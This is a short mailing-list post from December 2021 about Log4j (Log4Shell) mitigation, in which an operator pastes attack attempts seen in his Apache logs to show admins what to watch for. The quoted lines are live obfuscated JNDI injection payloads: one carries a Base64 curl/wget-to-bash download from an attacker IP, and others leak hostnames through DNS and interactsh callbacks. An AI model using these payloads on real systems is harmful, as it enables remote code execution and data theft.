Log4j mitigation

Jörg Kost jk at ip-clear.de
Mon Dec 13 11:39:58 UTC 2021


You can't see it. The attack vector can hide in HTTP GETs, Posts (SSL), 
in Headers, in anything related to where a Java process does logging 
with Log4j; it's innumerable. It might even evaluate from a URI itself; 
it won't use a fixed port. It's not wormy right now, but maybe it will 
soon.

We are seeing things like this since 10th of Dec. And this is only a 
typical Apache Logfile for HTTP/HTTPS, where we do logging:

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNzguMjQ4LjI0Mi4xNDE6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTc4LjI0OC4yNDIuMTQxOjgwKXxiYXNo}
GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 301 281 
"${jndi:dns://45.83.64.1/securityscan-http80}" 
"${jndi:dns://45.83.64.1/securityscan-http80}
GET 
/?x=${jndi:ldap://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com/a} 
HTTP/1.1" 200 - 
"${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}" 
"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}



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